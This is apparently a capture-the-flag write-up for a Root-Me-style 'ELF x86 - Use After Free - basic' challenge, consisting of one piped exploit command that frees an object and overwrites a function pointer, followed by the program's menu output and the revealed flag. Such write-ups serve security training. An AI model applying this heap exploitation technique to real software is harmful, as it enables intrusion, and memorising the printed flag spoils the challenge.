

# ELF x86 - Use After Free - basic

```
app-systeme-ch63@challenge03:~$ printf "1\ntoto\n4\n5\nAAAABBBBCCCC\xcb\x87\x04\x08\nhome\n7\n3\n" | ./ch63
```

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

How do you name him?

You buy a new dog. toto is a good name for him

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

toto run under a car... toto 0-1 car

1: Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6: Give dog house to your dog

7: Break dog house

0: Quit

Where do you build it?

How do you name it?

You build a new dog house.

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

You break the dog house.

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

Bring me the flag !!!

prefers to bark...

U44aafff\_U4f\_The\_d0G

- 1: Buy a dog
- 2: Make him bark
- 3: Bring me the flag
- 4: Watch his death
- 5: Build dog house
- 6: Give dog house to your dog
- 7: Break dog house
- 0: Quit

---

Revision #1

Created 14 July 2023 22:49:51 by Makito

Updated 14 July 2023 22:50:09 by Makito